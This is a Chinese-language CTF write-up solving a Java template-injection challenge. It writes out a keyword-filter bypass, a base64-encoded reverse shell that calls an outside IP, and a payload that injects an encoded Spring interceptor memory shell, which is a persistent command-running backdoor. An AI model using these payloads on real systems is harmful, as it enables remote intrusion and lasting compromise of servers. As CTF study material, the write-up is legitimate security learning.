1.前言
前一秒還在robots.txt
找flag,下一秒就java記憶體馬了,還不出網,這很🏀 👍, 又坐大牢了。
ezjava在比賽時實現了rce了,但可恨的是題目沒回顯,不出網,沒有靜態目錄,也不能設cookie和header頭,看樣子最後只能打記憶體馬了,但本地又沒有存記憶體馬,哎。
2.ezjava
拿到jar包先反編譯,然後本地動調。
public String render_tmp(@RequestParam String str) {
if (!str.contains("new") && !str.contains("spring") && !str.contains("Class") && !str.contains("UNIXProcess") && !str.contains("ProcessBuilder") && !str.contains("Runtime")) {
JetTemplate template = JetEngine.create().createTemplate(str);
StringWriter out = new StringWriter();
template.render((Map)null, out);
System.out.println(out.toString());
return "RCE";
} else {
return "NO RCE";
}
}
}
是一個模板注入/表示式注入的題目,可以看到過濾了一些命令執行相關函式,然後沒有回顯。
先解決第一個問題,如何繞過waf
- 我的思路是讓其進行二次解析,因為
createTemplate
函式傳的是個str
,就可以利用+
繞過關鍵字了。 - 初步payload (根據給的文件和本地動調還是能調出來這個payload的)
str=a=${jetbrick.template.JetEngine::create().createTemplate("").render({},java.lang.System::out)};
- 如果可以出網的話直接命令執行反彈shell就完事了
str=a=${jetbrick.template.JetEngine::create().createTemplate("${java.lang.Run"%2b"time::getRu"%2b"ntime().exec('bash-c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvNDMuMTQyLjE1LjEwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}')}").render({},java.lang.System::out)};
第二個問題,怎麼回顯。引數裡沒帶response,自然也就沒辦法設定response了。無腦回字串也是無解
public String render_tmp(@RequestParam String str) {}
最終估計是要打個記憶體馬的。
spring帶有spel表示式,我們利用模板引入spel解析器,然後打記憶體馬,(感覺有點多此一舉,他這個模板引擎本身應該就能實現,不過這個有現成的payload,不用白不用)
具體可參考這個連結。
構造payload時間花的不多,但各種引號轉義真讓人頭疼。
最終payload
str=a=${jetbrick.template.JetEngine::create().createTemplate("${ne"%2b"w+org.spr"%2b"ingframework.expression.spel.standard.SpelExpressionParser().parseExpression('T(org.spr'%2b'ingframework.cglib.core.ReflectUtils).defineCla'%2b'ss(\\'InceptorMemShell\\',T(org.spr'%2b'ingframework.util.Base64Utils).decodeFromString(\\'yv66vgAAADQBAAoAOwCKCABWCwCLAIwIAI0LAI4AjwsAjgCQCACRCACSCgCTAJQKAA4AlQgAlgoADgCXBwCYBwCZCACaCACbCgANAJwIAJ0IAJ4HAJ8KAA0AoAoAoQCiCgAUAKMIAKQKABQApQoAFACmCgAUAKcKABQAqAoAqQCqCgCpAKsKAKkAqAcArAoAIACtCwA8AK4LADwArwkAkwCwCACxCgCyAKoKALMAtAgAtQsAtgC3BwC4BwC5CwAqALoHALsIALwKAL0AvgcAvwoAMACtCgDAAMEKAMAAwgcAwwcAxAoANQCtBwDFCgA3AIoLADQAxggAxwcAyAcAyQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTEluY2VwdG9yTWVtU2hlbGw7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB2J1aWxkZXIBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAC3ByaW50V3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQAS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gAzwAA0TqcACjoEGQS2ADa7ADdZtwA4OgQtGQS5ADkCAFeyACQSOrYAJrEAAgAlAC0AMAAwADwARQBIADUABABAAAAASgASAAAAFQAIABYAFwAXACMAGAAlABoALQAdADAAGwAxABwANQAeADoAHwA8ACEARQAkAEgAIgBKACMATwAlAFgAJgBhACcAaQAoAEEAAABIAAcAMQAEAE4AdQADAEoABQBOAHYABAAXAFIAdwB4AAAAIwBGAHkAegABACUARAB7AHwAAgA8AC0AfQB%2bAAMAWAARAH8AQwAEAIAAAAAMAAEAPAAtAH0AgQADAFcAAAAtAAT/ADAAAwcAggcAgwcAhAABBwCFBP8AEgAEBwCCBwCDBwCEBwCGAAEHAIcGAAEAiAAAAAIAiQ%3d%3d\\'),T(java.lang.Thread).currentThread().getContextCl'%2b'assLoader()).n'%2b'ewInstance()').getValue()}").render({},java.lang.System::out)};
3.注意
- 需要用 java8來啟動jar包,否則payload打不通。
4.總結
- java還不是很熟悉,以後再慢慢學習吧。